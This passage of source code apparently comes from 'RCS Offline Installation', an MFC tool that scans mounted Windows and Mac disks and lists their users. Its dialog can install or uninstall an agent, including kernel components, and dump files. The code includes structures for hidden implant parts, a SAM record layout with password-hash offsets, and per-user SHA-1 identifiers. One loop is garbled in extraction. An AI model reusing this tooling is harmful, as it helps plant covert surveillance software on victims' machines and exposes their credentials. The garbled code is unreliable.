30 | #define IDC_EDIT1 1015
31 | #define IDC_BITMAP 1016
32 | #define IDC_CHECK1 1017
33 | #define IDC_BUTTON4 1018
34 | #define IDC_PROGRESS1 1019
35 | #define IDC_BUTTON5 1019
36 | #define ID_SELECTALL_UNSELECTALL 32771
37 | #define ID_SELECTITEMS_UNSELECTALL 32772
38 |
39 | // Next default values for new objects
40 | //
41 | #ifdef APSTUDIO_INVOKED
42 | #ifndef APSTUDIO_READONLY_SYMBOLS
43 | #define _APS_NEXT_RESOURCE_VALUE 167
44 | #define _APS_NEXT_COMMAND_VALUE 32773
45 | #define _APS_NEXT_CONTROL_VALUE 1020
46 | #define _APS_NEXT_SYMED_VALUE 101
47 | #endif
48 | #endif
49 |
--------------------------------------------------------------------------------
/OfflineInstall/Functions_OS.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | #include "Functions_OS.h"
3 | #include "Functions_OS_MAC.h"
4 | #include "Functions_OS_WIN.h"
5 | #include "commons.h"
6 |
7 | DWORD GetOsImage(os_struct_t *os_info, BOOL is_large_icon)
8 | {
9 | if (is_large_icon) {
10 | if (os_info->os == WIN_OS)
11 | return 0;
12 | else if (os_info->os == MAC_OS)
13 | return 1;
14 | else // Per future espansioni (es: linux)
15 | return 0;
16 | } else {
17 | if (os_info->os == WIN_OS) {
18 | if (os_info->is_supported)
19 | return 4;
20 | else
21 | return 5;
22 | } else if (os_info->os == MAC_OS) {
23 | if (os_info->is_supported)
24 | return 10;
25 | else
26 | return 11;
27 | } else // Per future espansioni (es: linux)
28 | return 5;
29 | }
30 | }
31 |
32 | void FreeOSList(os_struct_t *list_head)
33 | {
34 | os_struct_t *next;
35 |
36 | while(list_head) {
37 | next = list_head->next;
38 |
39 | SAFE_FREE(list_head->product_type);
40 | SAFE_FREE(list_head->computer_name);
41 | SAFE_FREE(list_head->product_name);
42 | SAFE_FREE(list_head->csd_version);
43 | SAFE_FREE(list_head->reg_owner);
44 | SAFE_FREE(list_head->reg_org);
45 | SAFE_FREE(list_head->curr_ver);
46 | SAFE_FREE(list_head->product_id);
47 |
48 | SAFE_FREE(list_head);
49 | list_head = next;
50 | }
51 | }
52 |
53 | os_struct_t *GetOSList()
54 | {
55 | os_struct_t *list_head = NULL, temp_os_struct;
56 | os_struct_t **list_curr = NULL;
57 | WCHAR driver_letters[512];
58 | DWORD driver_len, i;
59 |
60 | if (!(driver_len = GetLogicalDriveStrings(sizeof(driver_letters)/sizeof(driver_letters[0]), driver_letters)))
61 | return NULL;
62 |
63 | list_curr = &list_head;
64 | // Cicla tutti i volumi montati
65 | for (i=0; inext);
83 | }
84 |
85 | return list_head;
86 | }
87 |
88 |
89 |
--------------------------------------------------------------------------------
/OfflineInstall/aes_alg.h:
--------------------------------------------------------------------------------
1 | #ifndef _AES_H
2 | #define _AES_H
3 |
4 | #ifdef __cplusplus
5 | extern "C" {
6 | #endif
7 |
8 | /**
9 | * \brief AES context structure
10 | */
11 | typedef struct
12 | {
13 | unsigned long erk[64]; /*!< encryption round keys */
14 | unsigned long drk[64]; /*!< decryption round keys */
15 | int nr; /*!< number of rounds */
16 | }
17 | aes_context;
18 |
19 | /**
20 | * \brief AES key schedule
21 | *
22 | * \param ctx AES context to be initialized
23 | * \param key the secret key
24 | * \param keysize must be 128, 192 or 256
25 | */
26 | void aes_set_key( aes_context *ctx, unsigned char *key, int keysize );
27 |
28 | /**
29 | * \brief AES block encryption (ECB mode)
30 | *
31 | * \param ctx AES context
32 | * \param input plaintext block
33 | * \param output ciphertext block
34 | */
35 | void aes_encrypt( aes_context *ctx,
36 | unsigned char input[16],
37 | unsigned char output[16] );
38 |
39 | /**
40 | * \brief AES block decryption (ECB mode)
41 | *
42 | * \param ctx AES context
43 | * \param input ciphertext block
44 | * \param output plaintext block
45 | */
46 | void aes_decrypt( aes_context *ctx,
47 | unsigned char input[16],
48 | unsigned char output[16] );
49 |
50 | /**
51 | * \brief AES-CBC buffer encryption
52 | *
53 | * \param ctx AES context
54 | * \param iv initialization vector (modified after use)
55 | * \param input buffer holding the plaintext
56 | * \param output buffer holding the ciphertext
57 | * \param len length of the data to be encrypted
58 | */
59 | void aes_cbc_encrypt( aes_context *ctx,
60 | unsigned char iv[16],
61 | unsigned char *input,
62 | unsigned char *output,
63 | int len );
64 |
65 | /**
66 | * \brief AES-CBC buffer decryption
67 | *
68 | * \param ctx AES context
69 | * \param iv initialization vector (modified after use)
70 | * \param input buffer holding the ciphertext
71 | * \param output buffer holding the plaintext
72 | * \param len length of the data to be decrypted
73 | */
74 | void aes_cbc_decrypt( aes_context *ctx,
75 | unsigned char iv[16],
76 | unsigned char *input,
77 | unsigned char *output,
78 | int len );
79 |
80 |
81 | #ifdef __cplusplus
82 | }
83 | #endif
84 |
85 | #endif
86 |
--------------------------------------------------------------------------------
/OfflineInstall/Functions_OS_MAC.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | #include "Functions_OS.h"
3 | #include "Functions_Users.h"
4 | #include "Functions_RCS.h"
5 | #include "commons.h"
6 |
7 |
8 | DWORD MAC_GetArch(os_struct_t *os_info)
9 | {
10 | // XXX
11 | return 32;
12 | }
13 |
14 | BOOL MAC_IsSupported(os_struct_t *os_info)
15 | {
16 | if (!os_info->csd_version)
17 | return FALSE;
18 |
19 | if (wcsncmp(os_info->csd_version, L"10.5", 4) && wcsncmp(os_info->csd_version, L"10.6", 4) && wcsncmp(os_info->csd_version, L"10.7", 4) && wcsncmp(os_info->csd_version, L"10.8", 4) && wcsncmp(os_info->csd_version, L"10.9", 4))
20 | return FALSE;
21 |
22 | return TRUE;
23 | }
24 |
25 | BOOL RecognizeMacOS(WCHAR *drive_letter, os_struct_t *os_struct)
26 | {
27 | DWORD dummy;
28 | WCHAR file_path[256];
29 | char install_date_string[24];
30 | HANDLE hfile;
31 |
32 | wsprintf(file_path, L"%smach_kernel", drive_letter);
33 | hfile = CreateFile(file_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
34 | if (hfile == INVALID_HANDLE_VALUE)
35 | return FALSE;
36 | CloseHandle(hfile);
37 |
38 | // -> OSType
39 | os_struct->os = MAC_OS;
40 |
41 | // -> SystemRoot
42 | wcscpy_s(os_struct->system_root, MAX_PATH, drive_letter);
43 |
44 | // -> ProductName
45 | // -> Version
46 | wsprintf(file_path, L"%s\\System\\Library\\CoreServices\\SystemVersion.plist", drive_letter);
47 | os_struct->product_name = GetValueForKey(file_path, "ProductName", 1);
48 | os_struct->csd_version = GetValueForKey(file_path, "ProductVersion", 1);
49 |
50 | // -> Computer Name
51 | wsprintf(file_path, L"%sLibrary\\Preferences\\SystemConfiguration\\preferences.plist", drive_letter);
52 | os_struct->computer_name = GetValueForKey(file_path, "HostName", 1);
53 | if (!os_struct->computer_name)
54 | os_struct->computer_name = GetValueForKey(file_path, "LocalHostName", 1);
55 |
56 | // -> Install date
57 | wsprintf(file_path, L"%sprivate\\var\\log\\OSInstall.custom", drive_letter);
58 | memset(&(os_struct->install_date), 0, sizeof(SYSTEMTIME));
59 | if ( (hfile = CreateFile(file_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL)) != INVALID_HANDLE_VALUE ) {
60 | ReadFile(hfile, install_date_string, 24, &dummy, NULL);
61 | ZeroMemory(install_date_string, sizeof(install_date_string));
62 | ReadFile(hfile, install_date_string, 19, &dummy, NULL);
63 | CloseHandle(hfile);
64 | sscanf_s(install_date_string, "%d-%d-%d %d:%d:%d",
65 | &os_struct->install_date.wYear,
66 | &os_struct->install_date.wMonth,
67 | &os_struct->install_date.wDay,
68 | &os_struct->install_date.wHour,
69 | &os_struct->install_date.wMinute,
70 | &os_struct->install_date.wSecond);
71 | }
72 |
73 | // -> arch
74 | // -> IsSupported
75 | // -> owner
76 | // -> product id
77 | os_struct->reg_owner = _wcsdup(L"N.A.");
78 | os_struct->product_id = _wcsdup(L"N.A.");
79 | os_struct->arch = MAC_GetArch(os_struct);
80 | os_struct->is_blacklisted = BL_SAFE;
81 | os_struct->is_supported = MAC_IsSupported(os_struct); // Va chiamata per ultima...
82 |
83 | return TRUE;
84 | }
85 |
86 |
--------------------------------------------------------------------------------
/OfflineInstall/ReadMe.txt:
--------------------------------------------------------------------------------
1 | ================================================================================
2 | MICROSOFT FOUNDATION CLASS LIBRARY : OfflineInstall Project Overview
3 | ===============================================================================
4 |
5 | The application wizard has created this OfflineInstall application for
6 | you. This application not only demonstrates the basics of using the Microsoft
7 | Foundation Classes but is also a starting point for writing your application.
8 |
9 | This file contains a summary of what you will find in each of the files that
10 | make up your OfflineInstall application.
11 |
12 | OfflineInstall.vcproj
13 | This is the main project file for VC++ projects generated using an application wizard.
14 | It contains information about the version of Visual C++ that generated the file, and
15 | information about the platforms, configurations, and project features selected with the
16 | application wizard.
17 |
18 | OfflineInstall.h
19 | This is the main header file for the application. It includes other
20 | project specific headers (including Resource.h) and declares the
21 | COfflineInstallApp application class.
22 |
23 | OfflineInstall.cpp
24 | This is the main application source file that contains the application
25 | class COfflineInstallApp.
26 |
27 | OfflineInstall.rc
28 | This is a listing of all of the Microsoft Windows resources that the
29 | program uses. It includes the icons, bitmaps, and cursors that are stored
30 | in the RES subdirectory. This file can be directly edited in Microsoft
31 | Visual C++. Your project resources are in 1033.
32 |
33 | res\OfflineInstall.ico
34 | This is an icon file, which is used as the application's icon. This
35 | icon is included by the main resource file OfflineInstall.rc.
36 |
37 | res\OfflineInstall.rc2
38 | This file contains resources that are not edited by Microsoft
39 | Visual C++. You should place all resources not editable by
40 | the resource editor in this file.
41 |
42 |
43 | /////////////////////////////////////////////////////////////////////////////
44 |
45 | The application wizard creates one dialog class:
46 |
47 | OfflineInstallDlg.h, OfflineInstallDlg.cpp - the dialog
48 | These files contain your COfflineInstallDlg class. This class defines
49 | the behavior of your application's main dialog. The dialog's template is
50 | in OfflineInstall.rc, which can be edited in Microsoft Visual C++.
51 |
52 |
53 | /////////////////////////////////////////////////////////////////////////////
54 |
55 | Other standard files:
56 |
57 | StdAfx.h, StdAfx.cpp
58 | These files are used to build a precompiled header (PCH) file
59 | named OfflineInstall.pch and a precompiled types file named StdAfx.obj.
60 |
61 | Resource.h
62 | This is the standard header file, which defines new resource IDs.
63 | Microsoft Visual C++ reads and updates this file.
64 |
65 | /////////////////////////////////////////////////////////////////////////////
66 |
67 | Other notes:
68 |
69 | The application wizard uses "TODO:" to indicate parts of the source code you
70 | should add to or customize.
71 |
72 | If your application uses MFC in a shared DLL, you will need
73 | to redistribute the MFC DLLs. If your application is in a language
74 | other than the operating system's locale, you will also have to
75 | redistribute the corresponding localized resources MFC90XXX.DLL.
76 | For more information on both of these topics, please see the section on
77 | redistributing Visual C++ applications in MSDN documentation.
78 |
79 | /////////////////////////////////////////////////////////////////////////////
80 |
--------------------------------------------------------------------------------
/OfflineInstall/Functions_Users.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "Functions_OS.h"
3 |
4 | struct user_V {
5 |
6 | int unknown1_1; /* 0x00 - always zero? */
7 | int unknown1_2; /* 0x04 - points to username? */
8 | int unknown1_3; /* 0x08 - always 0x02 0x00 0x01 0x00 ? */
9 |
10 | int username_ofs; /* 0x0c */
11 | int username_len; /* 0x10 */
12 |
13 | int unknown2_1; /* 0x14 - always zero? */
14 |
15 | int fullname_ofs; /* 0x18 */
16 | int fullname_len; /* 0x1c */
17 |
18 | int unknown3_1; /* 0x20 - always zero? */
19 |
20 | int comment_ofs; /* 0x24 */
21 | int comment_len; /* 0x28 */
22 |
23 | int unknown4_1; /* 0x2c - alway zero? */
24 | int unknown4_2; /* 0x30 - points 4 or 8 byte field before hashes */
25 | int unknown4_3; /* 0x34 - zero? or size? */
26 | int unknown4_4; /* 0x38 - zero? */
27 | int unknown4_5; /* 0x3c - to field 8 bytes before hashes */
28 | int unknown4_6; /* 0x40 - zero? or size of above? */
29 | int unknown4_7; /* 0x44 - zero? */
30 |
31 | int homedir_ofs; /* 0x48 */
32 | int homedir_len; /* 0x4c */
33 |
34 | int unknown5_1; /* 0x50 - zero? */
35 |
36 | int drvletter_ofs; /* 0x54 - drive letter for home dir */
37 | int drvletter_len; /* 0x58 - len of above, usually 4 */
38 |
39 | int unknown6_1; /* 0x5c - zero? */
40 |
41 | int logonscr_ofs; /* 0x60 - users logon script path */
42 | int logonscr_len; /* 0x64 - length of string */
43 |
44 | int unknown7_1; /* 0x68 - zero? */
45 |
46 | int profilep_ofs; /* 0x6c - profile path string */
47 | int profilep_len; /* 0x70 - profile path stringlen */
48 |
49 | char unknown7[0x90-0x74]; /* 0x74 */
50 |
51 | int unknown8_1; /* 0x90 - pointer to some place before hashes, after comments */
52 | int unknown8_2; /* 0x94 - size of above? */
53 | int unknown8_3; /* 0x98 - unknown? always 1? */
54 |
55 | int lmpw_ofs; /* 0x9c */
56 | int lmpw_len; /* 0xa0 */
57 |
58 | int unknown9_1; /* 0xa4 - zero? */
59 |
60 | int ntpw_ofs; /* 0xa8 */
61 | int ntpw_len; /* 0xac */
62 |
63 | int unknowna_1; /* 0xb0 */
64 | int unknowna_2; /* 0xb4 - points to field after hashes */
65 | int unknowna_3; /* 0xb8 - size of above field */
66 | int unknowna_4; /* 0xbc - zero? */
67 | int unknowna_5; /* 0xc0 - points to field after that */
68 | int unknowna_6; /* 0xc4 - size of above */
69 | int unknowna_7; /* 0xc8 - zero ? */
70 |
71 | char data[4]; /* Data starts here. All pointers above is relative to this,
72 | that is V + 0xCC */
73 | };
74 |
75 | struct user_F {
76 | char unknown1[8];
77 | char t_lockout[8]; /* Time of lockout */
78 | char unknown2[8];
79 | char t_creation[8]; /* Time of account creation */
80 | char unknown3[8];
81 | char t_login[8]; /* Time of last login */
82 | long rid;
83 | char unknown4[4];
84 | unsigned short ACB_bits; /* Account type and status flags */
85 | char unknown5[6];
86 | unsigned short failedcnt; /* Count of failed logins, if > than policy it is locked */
87 | unsigned short logins; /* Total logins since creation */
88 | char unknown6 [0xc];
89 | };
90 |
91 |
92 | typedef struct users_struct {
93 | WCHAR *user_name;
94 | WCHAR *full_name;
95 | WCHAR *desc;
96 | WCHAR *user_temp;
97 | WCHAR *user_local_settings;
98 | WCHAR *user_home;
99 | WCHAR *user_startup;
100 | WCHAR *user_hash;
101 | BOOL is_admin;
102 | BOOL is_local;
103 | BOOL is_disabled;
104 | #define RCS_CLEAN 0
105 | #define RCS_INSTALLED 1
106 | #define RCS_BROKEN 2
107 | DWORD rcs_status;
108 | DWORD list_index;
109 |
110 | struct users_struct *next;
111 | } users_struct_t;
112 |
113 | typedef struct rcs_struct {
114 | WCHAR rcs_ini_path[MAX_PATH];
115 | WCHAR rcs_files_path[MAX_PATH];
116 | WCHAR hdir[128];
117 | WCHAR hreg[128];
118 | WCHAR new_hdir[128];
119 | WCHAR old_hreg[128];
120 | WCHAR hcore[128];
121 | WCHAR hdrv[128];
122 | WCHAR hdrv64[128];
123 | WCHAR hsys[128];
124 | WCHAR rcs_name[128];
125 | WCHAR soldier_name[128];
126 | WCHAR func_name[24];
127 | WCHAR version[128];
128 | WCHAR **masks;
129 | DWORD hscramb;
130 | } rcs_struct_t;
131 |
132 | extern users_struct_t *GetUserList(os_struct_t *os_info, rcs_struct_t *rcs_info);
133 | extern void FreeUsersList(users_struct_t *list_head);
134 | extern DWORD GetUserRCSStateImg(users_struct_t *user_info);
135 | extern DWORD GetUserPrivImg(users_struct_t *user_info);
136 | extern users_struct_t *FindUser(DWORD index, users_struct_t *list_head);
--------------------------------------------------------------------------------
/OfflineInstall/user_identification.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | #include
3 | #include "user_identification.h"
4 |
5 | typedef struct SHA1Context
6 | {
7 | unsigned Message_Digest[5]; /* Message Digest (output) */
8 |
9 | unsigned Length_Low; /* Message length in bits */
10 | unsigned Length_High; /* Message length in bits */
11 |
12 | unsigned char Message_Block[64]; /* 512-bit message blocks */
13 | int Message_Block_Index; /* Index into message block array */
14 |
15 | int Computed; /* Is the digest computed? */
16 | int Corrupted; /* Is the message digest corruped? */
17 | } SHA1Context;
18 |
19 | #define SHA_DIGEST_LENGTH 20
20 |
21 | void SHA1Reset(SHA1Context *);
22 | int SHA1Result(SHA1Context *);
23 | void SHA1Input( SHA1Context *,
24 | const unsigned char *,
25 | unsigned);
26 |
27 |
28 | #define SHA1CircularShift(bits,word) \
29 | ((((word) << (bits)) & 0xFFFFFFFF) | \
30 | ((word) >> (32-(bits))))
31 |
32 | /* Function prototypes */
33 | void SHA1ProcessMessageBlock(SHA1Context *);
34 | void SHA1PadMessage(SHA1Context *);
35 |
36 | void SHA1Reset(SHA1Context *context)
37 | {
38 | context->Length_Low = 0;
39 | context->Length_High = 0;
40 | context->Message_Block_Index = 0;
41 |
42 | context->Message_Digest[0] = 0x67452301;
43 | context->Message_Digest[1] = 0xEFCDAB89;
44 | context->Message_Digest[2] = 0x98BADCFE;
45 | context->Message_Digest[3] = 0x10325476;
46 | context->Message_Digest[4] = 0xC3D2E1F0;
47 |
48 | context->Computed = 0;
49 | context->Corrupted = 0;
50 | }
51 |
52 | int SHA1Result(SHA1Context *context)
53 | {
54 |
55 | if (context->Corrupted)
56 | {
57 | return 0;
58 | }
59 |
60 | if (!context->Computed)
61 | {
62 | SHA1PadMessage(context);
63 | context->Computed = 1;
64 | }
65 |
66 | return 1;
67 | }
68 |
69 | void SHA1Input( SHA1Context *context,
70 | const unsigned char *message_array,
71 | unsigned length)
72 | {
73 | if (!length)
74 | {
75 | return;
76 | }
77 |
78 | if (context->Computed || context->Corrupted)
79 | {
80 | context->Corrupted = 1;
81 | return;
82 | }
83 |
84 | while(length-- && !context->Corrupted)
85 | {
86 | context->Message_Block[context->Message_Block_Index++] =
87 | (*message_array & 0xFF);
88 |
89 | context->Length_Low += 8;
90 | /* Force it to 32 bits */
91 | context->Length_Low &= 0xFFFFFFFF;
92 | if (context->Length_Low == 0)
93 | {
94 | context->Length_High++;
95 | /* Force it to 32 bits */
96 | context->Length_High &= 0xFFFFFFFF;
97 | if (context->Length_High == 0)
98 | {
99 | /* Message is too long */
100 | context->Corrupted = 1;
101 | }
102 | }
103 |
104 | if (context->Message_Block_Index == 64)
105 | {
106 | SHA1ProcessMessageBlock(context);
107 | }
108 |
109 | message_array++;
110 | }
111 | }
112 |
113 | void SHA1ProcessMessageBlock(SHA1Context *context)
114 | {
115 | const unsigned K[] = /* Constants defined in SHA-1 */
116 | {
117 | 0x5A827999,
118 | 0x6ED9EBA1,
119 | 0x8F1BBCDC,
120 | 0xCA62C1D6
121 | };
122 | int t; /* Loop counter */
123 | unsigned temp; /* Temporary word value */
124 | unsigned W[80]; /* Word sequence */
125 | unsigned A, B, C, D, E; /* Word buffers */
126 |
127 | /*
128 | * Initialize the first 16 words in the array W
129 | */
130 | for(t = 0; t < 16; t++)
131 | {
132 | W[t] = ((unsigned) context->Message_Block[t * 4]) << 24;
133 | W[t] |= ((unsigned) context->Message_Block[t * 4 + 1]) << 16;
134 | W[t] |= ((unsigned) context->Message_Block[t * 4 + 2]) << 8;
135 | W[t] |= ((unsigned) context->Message_Block[t * 4 + 3]);
136 | }
137 |
138 | for(t = 16; t < 80; t++)
139 | {
140 | W[t] = SHA1CircularShift(1,W[t-3] ^ W[t-8] ^ W[t-14] ^ W[t-16]);
141 | }
142 |
143 | A = context->Message_Digest[0];
144 | B = context->Message_Digest[1];
145 | C = context->Message_Digest[2];
146 | D = context->Message_Digest[3];
147 | E = context->Message_Digest[4];
148 |
149 | for(t = 0; t < 20; t++)
150 | {
151 | temp = SHA1CircularShift(5,A) +
152 | ((B & C) | ((~B) & D)) + E + W[t] + K[0];
153 | temp &= 0xFFFFFFFF;
154 | E = D;
155 | D = C;
156 | C = SHA1CircularShift(30,B);
157 | B = A;
158 | A = temp;
159 | }
160 |
161 | for(t = 20; t < 40; t++)
162 | {
163 | temp = SHA1CircularShift(5,A) + (B ^ C ^ D) + E + W[t] + K[1];
164 | temp &= 0xFFFFFFFF;
165 | E = D;
166 | D = C;
167 | C = SHA1CircularShift(30,B);
168 | B = A;
169 | A = temp;
170 | }
171 |
172 | for(t = 40; t < 60; t++)
173 | {
174 | temp = SHA1CircularShift(5,A) +
175 | ((B & C) | (B & D) | (C & D)) + E + W[t] + K[2];
176 | temp &= 0xFFFFFFFF;
177 | E = D;
178 | D = C;
179 | C = SHA1CircularShift(30,B);
180 | B = A;
181 | A = temp;
182 | }
183 |
184 | for(t = 60; t < 80; t++)
185 | {
186 | temp = SHA1CircularShift(5,A) + (B ^ C ^ D) + E + W[t] + K[3];
187 | temp &= 0xFFFFFFFF;
188 | E = D;
189 | D = C;
190 | C = SHA1CircularShift(30,B);
191 | B = A;
192 | A = temp;
193 | }
194 |
195 | context->Message_Digest[0] =
196 | (context->Message_Digest[0] + A) & 0xFFFFFFFF;
197 | context->Message_Digest[1] =
198 | (context->Message_Digest[1] + B) & 0xFFFFFFFF;
199 | context->Message_Digest[2] =
200 | (context->Message_Digest[2] + C) & 0xFFFFFFFF;
201 | context->Message_Digest[3] =
202 | (context->Message_Digest[3] + D) & 0xFFFFFFFF;
203 | context->Message_Digest[4] =
204 | (context->Message_Digest[4] + E) & 0xFFFFFFFF;
205 |
206 | context->Message_Block_Index = 0;
207 | }
208 |
209 | void SHA1PadMessage(SHA1Context *context)
210 | {
211 | if (context->Message_Block_Index > 55)
212 | {
213 | context->Message_Block[context->Message_Block_Index++] = 0x80;
214 | while(context->Message_Block_Index < 64)
215 | {
216 | context->Message_Block[context->Message_Block_Index++] = 0;
217 | }
218 |
219 | SHA1ProcessMessageBlock(context);
220 |
221 | while(context->Message_Block_Index < 56)
222 | {
223 | context->Message_Block[context->Message_Block_Index++] = 0;
224 | }
225 | }
226 | else
227 | {
228 | context->Message_Block[context->Message_Block_Index++] = 0x80;
229 | while(context->Message_Block_Index < 56)
230 | {
231 | context->Message_Block[context->Message_Block_Index++] = 0;
232 | }
233 | }
234 |
235 | context->Message_Block[56] = (context->Length_High >> 24) & 0xFF;
236 | context->Message_Block[57] = (context->Length_High >> 16) & 0xFF;
237 | context->Message_Block[58] = (context->Length_High >> 8) & 0xFF;
238 | context->Message_Block[59] = (context->Length_High) & 0xFF;
239 | context->Message_Block[60] = (context->Length_Low >> 24) & 0xFF;
240 | context->Message_Block[61] = (context->Length_Low >> 16) & 0xFF;
241 | context->Message_Block[62] = (context->Length_Low >> 8) & 0xFF;
242 | context->Message_Block[63] = (context->Length_Low) & 0xFF;
243 |
244 | SHA1ProcessMessageBlock(context);
245 | }
246 |
247 |
248 | WCHAR *GetUserHash(WCHAR *user_sid)
249 | {
250 | char ascii_sid[256];
251 | WCHAR *output;
252 | SHA1Context sha;
253 |
254 | if ( !(output = (WCHAR *)calloc((SHA_DIGEST_LENGTH*2)+1, sizeof(WCHAR)) ) )
255 | return NULL;
256 |
257 | sprintf_s(ascii_sid, sizeof(ascii_sid), "%S", user_sid);
258 | SHA1Reset(&sha);
259 | SHA1Input(&sha, (const unsigned char *)ascii_sid, (DWORD)(strlen(ascii_sid)));
260 | if (SHA1Result(&sha)) {
261 | for (int i=0; i<(SHA_DIGEST_LENGTH/sizeof(int)); i++)
262 | swprintf_s(output+(i*8), (SHA_DIGEST_LENGTH*2)+1-(i*8), L"%.8X", sha.Message_Digest[i]);
263 | } else
264 | swprintf_s(output, SHA_DIGEST_LENGTH, L"UNKNOWN");
265 | return output;
266 | }
--------------------------------------------------------------------------------
/OfflineInstall/OfflineInstall.rc:
--------------------------------------------------------------------------------
1 | // Microsoft Visual C++ generated resource script.
2 | //
3 | #include "resource.h"
4 |
5 | #define APSTUDIO_READONLY_SYMBOLS
6 | /////////////////////////////////////////////////////////////////////////////
7 | //
8 | // Generated from the TEXTINCLUDE 2 resource.
9 | //
10 | #ifndef APSTUDIO_INVOKED
11 | #include "targetver.h"
12 | #endif
13 | #include "afxres.h"
14 |
15 | /////////////////////////////////////////////////////////////////////////////
16 | #undef APSTUDIO_READONLY_SYMBOLS
17 |
18 | /////////////////////////////////////////////////////////////////////////////
19 | // English (United States) resources
20 |
21 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
22 | LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
23 | #pragma code_page(1252)
24 |
25 | /////////////////////////////////////////////////////////////////////////////
26 | //
27 | // Dialog
28 | //
29 |
30 | IDD_OFFLINEINSTALL_DIALOG DIALOGEX 0, 0, 448, 276
31 | STYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | DS_CENTER | WS_POPUP | WS_VISIBLE | WS_CAPTION
32 | EXSTYLE WS_EX_APPWINDOW
33 | CAPTION "RCS Offline Installation "
34 | FONT 8, "MS Shell Dlg", 0, 0, 0x1
35 | BEGIN
36 | CONTROL "",IDC_COMBOBOXEX3,"ComboBoxEx32",CBS_DROPDOWNLIST | CBS_SORT | WS_VSCROLL | WS_TABSTOP,25,18,335,111
37 | PUSHBUTTON "Rescan",IDC_BUTTON3,365,17,61,15
38 | CONTROL "",IDC_LIST3,"SysListView32",LVS_REPORT | LVS_SHOWSELALWAYS | LVS_ALIGNLEFT | WS_BORDER | WS_TABSTOP,19,37,409,109
39 | DEFPUSHBUTTON "Install",IDOK,18,150,61,14
40 | PUSHBUTTON "Uninstall",IDCANCEL,90,150,61,14
41 | PUSHBUTTON "Export Log...",IDC_BUTTON4,162,150,61,14
42 | PUSHBUTTON "Dump Files...",IDC_BUTTON5,234,150,61,14
43 | CONTROL " Install Kernel Components",IDC_CHECK1,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,332,150,104,10
44 | PUSHBUTTON "Halt",IDC_BUTTON1,304,252,54,18
45 | PUSHBUTTON "Reboot",IDC_BUTTON2,370,252,54,18
46 | EDITTEXT IDC_EDIT1,90,194,338,48,ES_MULTILINE | ES_AUTOHSCROLL | ES_READONLY | NOT WS_BORDER | NOT WS_TABSTOP
47 | GROUPBOX "OS and Users selection",IDC_STATIC,6,3,435,167
48 | GROUPBOX "OS Info",IDC_STATIC,6,180,435,66
49 | CONTROL "",IDC_BITMAP,"Static",SS_BITMAP | SS_SUNKEN,18,192,16,14
50 | END
51 |
52 | IDD_DIALOGBAR DIALOGEX 0, 0, 331, 46
53 | STYLE DS_ABSALIGN | DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | DS_SETFOREGROUND | DS_FIXEDSYS | DS_CENTER | WS_POPUP | WS_VISIBLE | WS_CAPTION
54 | CAPTION "User"
55 | FONT 8, "MS Shell Dlg", 400, 0, 0x0
56 | BEGIN
57 | CONTROL "",IDC_PROGRESS1,"msctls_progress32",WS_BORDER,6,25,318,14
58 | EDITTEXT IDC_EDIT1,6,10,318,12,ES_AUTOHSCROLL | ES_READONLY | NOT WS_BORDER | NOT WS_TABSTOP
59 | END
60 |
61 |
62 | /////////////////////////////////////////////////////////////////////////////
63 | //
64 | // Version
65 | //
66 |
67 | VS_VERSION_INFO VERSIONINFO
68 | FILEVERSION 1,0,0,1
69 | PRODUCTVERSION 1,0,0,1
70 | FILEFLAGSMASK 0x3fL
71 | #ifdef _DEBUG
72 | FILEFLAGS 0x1L
73 | #else
74 | FILEFLAGS 0x0L
75 | #endif
76 | FILEOS 0x4L
77 | FILETYPE 0x1L
78 | FILESUBTYPE 0x0L
79 | BEGIN
80 | BLOCK "StringFileInfo"
81 | BEGIN
82 | BLOCK "040904e4"
83 | BEGIN
84 | VALUE "CompanyName", "TODO: "
85 | VALUE "FileDescription", "TODO: "
86 | VALUE "FileVersion", "1.0.0.1"
87 | VALUE "InternalName", "OfflineInstall.exe"
88 | VALUE "LegalCopyright", "TODO: (c) . All rights reserved."
89 | VALUE "OriginalFilename", "OfflineInstall.exe"
90 | VALUE "ProductName", "TODO: "
91 | VALUE "ProductVersion", "1.0.0.1"
92 | END
93 | END
94 | BLOCK "VarFileInfo"
95 | BEGIN
96 | VALUE "Translation", 0x409, 1252
97 | END
98 | END
99 |
100 |
101 | /////////////////////////////////////////////////////////////////////////////
102 | //
103 | // DESIGNINFO
104 | //
105 |
106 | #ifdef APSTUDIO_INVOKED
107 | GUIDELINES DESIGNINFO
108 | BEGIN
109 | IDD_OFFLINEINSTALL_DIALOG, DIALOG
110 | BEGIN
111 | LEFTMARGIN, 7
112 | RIGHTMARGIN, 441
113 | TOPMARGIN, 7
114 | BOTTOMMARGIN, 269
115 | END
116 |
117 | IDD_DIALOGBAR, DIALOG
118 | BEGIN
119 | LEFTMARGIN, 6
120 | RIGHTMARGIN, 324
121 | TOPMARGIN, 7
122 | BOTTOMMARGIN, 39
123 | END
124 | END
125 | #endif // APSTUDIO_INVOKED
126 |
127 | #endif // English (United States) resources
128 | /////////////////////////////////////////////////////////////////////////////
129 |
130 |
131 | /////////////////////////////////////////////////////////////////////////////
132 | // Italian (Italy) resources
133 |
134 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ITA)
135 | LANGUAGE LANG_ITALIAN, SUBLANG_ITALIAN
136 | #pragma code_page(1252)
137 |
138 | #ifdef APSTUDIO_INVOKED
139 | /////////////////////////////////////////////////////////////////////////////
140 | //
141 | // TEXTINCLUDE
142 | //
143 |
144 | 1 TEXTINCLUDE
145 | BEGIN
146 | "resource.h\0"
147 | END
148 |
149 | 2 TEXTINCLUDE
150 | BEGIN
151 | "#ifndef APSTUDIO_INVOKED\r\n"
152 | "#include ""targetver.h""\r\n"
153 | "#endif\r\n"
154 | "#include ""afxres.h""\r\n"
155 | "\0"
156 | END
157 |
158 | 3 TEXTINCLUDE
159 | BEGIN
160 | "#define _AFX_NO_SPLITTER_RESOURCES\r\n"
161 | "#define _AFX_NO_OLE_RESOURCES\r\n"
